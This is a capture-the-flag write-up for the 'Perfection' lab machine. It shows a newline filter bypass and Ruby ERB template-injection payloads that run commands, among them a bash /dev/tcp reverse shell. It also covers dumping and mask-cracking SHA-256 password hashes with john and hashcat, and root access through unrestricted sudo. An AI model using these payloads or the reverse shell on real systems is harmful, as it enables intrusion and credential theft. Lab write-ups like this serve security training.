Perfection

Perfection

Foothold

Starting with a Nmap TCP scan results with:

werz@win:~/ctf/htb/boxes/perfection$ cat nmap
# Nmap 7.93 scan initiated Fri Mar 22 14:35:45 2024 as: nmap -sCV -T4 -oN nmap 10.10.11.253
Nmap scan report for 10.10.11.253
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80e479e85928df952dad574a4604ea70 (ECDSA)
|_  256 e9ea0c1d8613ed95a9d00bc822e4cfe9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 22 14:35:57 2024 -- 1 IP address (1 host up) scanned in 12.22 seconds

Checking out the web page

![[Pasted image 20240322182101.png|400]]![[Pasted image 20240322182133.png|400]]

This looks like a class grade calculator hosted using the ruby's WEBrick After unnecessarily fuzzing endpoints, I found that the web page use Sinatra framework because of the 404 response, ![[Pasted image 20240322185736.png|400]]

While playing around with the calculator that POST data (fields to calculate) to /weighted-grade-calc endpoint, I figured out the following;

Passing a special character for example < as a category (category1 parameter) returns Malicious input blocked response

werz@win:~/ctf/htb/boxes/perfection$ curl -s 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=<dsd&grade1=2&weight1=10&category2=dsd&grade2=1&weight2=10&category3=dsd&grade3
=3&weight3=10&category4=dsd&grade4=2&weight4=10&category5=dsd&grade5=2&weight5=60' | sed -n '105,115p'
            </td>
          </tr>
        </table>
        <button type="submit">Submit</button>
        <p>Please enter a maximum of five category names, your grade in them out of 100, and their weight. Enter "N/A" into the category field and 0 into the grade and weight fields if you are not using a row.</p>
      </form>
      Malicious input blocked # Response
    </div>
  </div>
</div>

This hints that there's a form of input validation which could be leading to SSTI and as we already figured out that the web server uses Sinatra.

User

After enumerating and trying out some special characters to manipulate and bypass the form validation, I figured out that a whitespace new line worked, somehow, test + %0d test%0d<special-character>

and it worked fine category1=test%0a<dsd&grade1=2&weight1=10&category2=dsd&grade2=1&weight2=10&category3=dsd&grade3=3&weight3=10&category4=dsd&grade4=2&weight4=10&category5=dsd&grade5=2&weight5=60

werz@win:~/ctf/htb/boxes/perfection$ curl -s 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=test%0a<dsd&grade1=2&weight1=10&category2=dsd&grade2=1&weight2=10&category3=dsd&grade3=3&weight3=10&category4=dsd&grade4=2&weight4=10&category5=dsd&grade5=2&weight5=60' | sed -n '105,115p'
            </td>
          </tr>
        </table>
        <button type="submit">Submit</button>
        <p>Please enter a maximum of five category names, your grade in them out of 100, and their weight. Enter "N/A" into the category field and 0 into the grade and weight fields if you are not using a row.</p>
      </form>
      Your total grade is 2%<p>test
<dsd: 0%</p><p>dsd: 0%</p><p>dsd: 0%</p><p>dsd: 0%</p><p>dsd: 1%</p>
    </div>
  </div>
</div>

Injecting XSS worked perfectly fine, using category1=test%0a<script>document</script> for example

We can try to inject SSTI payloads Sinatra uses <%= %> as the output tag similar to {{ }} in Flask, and as this page indicates https://docs.ostorlab.co/kb/SERVER_SIDE_TEMPLATE_INJECTION/index.html

Using backticks to execute system level commands, we can build a payload like this:

category1=test%0a<%25=`id`%25>

Full:

category1=test%0a<%25=`id`
%25>&grade1=4&weight1=30&category2=fasfsa&grade2=1&weight2=30&category3=fas&grade3=1&weight3=20&category4=fasfas&grade4=1&weight4=10&category5=fasfsafas&grade5=1&weight5=10

You probably should URL encode key characters <%= to <%25= and %> to %25> This successfully responded with!

     Your total grade is 1%<p>test
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
: 1%</p>

I'll get a reverse shell, using the pwncat-cs -p 9001 fancy listener

Reverse shell command: bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'

Payload:

category1=test<%=`bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'`%>

Encoded Payload:

category1=test%0a<%25=`bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f<IP>%2f<PORT>%200%3e%261'`
%25>

Full form Payload:

category1=test%0a<%25=`bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f<IP>%2f<PORT>%200%3e%261'`
%25>&grade1=4&weight1=30&category2=fasfsa&grade2=1&weight2=30&category3=fas&grade3=1&weight3=20&category4=fasfas&grade4=1&weight4=10&category5=fasfsafas&grade5=1&weight5=10

Reverse shell should hit.

Root - Privilege Escalation

After looking around for any hook, I discovered the migration home folder that have a sqlite3 DB file pupilpath_credentials.db that contain users encrypted passwords

(remote) susan@perfection:/home/susan/Migration$ strings pupilpath_credentials.db
SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

and I checked out the mail file for Susan

(remote) susan@perfection:/home/susan/ruby_app$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

This is pretty obvious at this point, we can generate a password wordlist:

with open("hashes", "r") as f:
    lines = f.readlines()
    for line in lines:
        line = line.strip()
        parts = line.split("|")
        firstName, hash = parts[0].split(" ")[0] , parts[1]
        format = f"{firstName.lower()}_{firstName.lower()[::-1]}_"
        with open("wordlist", "a") as f:
            print(f"Generating hashes for {firstName}")
            for i in range(1, 1000000000):
                f.write(f"{format}{i}\n")
                if i % 1000000 == 0:
                    print(f"Generated {i} hashes")

This is not really recommended, we can simply use the John or Hashcat mask mode to use placeholders, John

john --format=raw-sha256 --mask=susan_nasus_?d?d?d?d?d?d?d?d?d susan.hash 

Hashcat

hashcat -m 1400 susan.hash -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d

Use the cracked plain password to ssh into susan user

Remember, this is an easy machine, when checking the sudo permissions Susan user, it looks like we have full access;

susan@perfection:~$ sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL
susan@perfection:~$ sudo cat /root/root.txt
<flag_hash>

And this is it!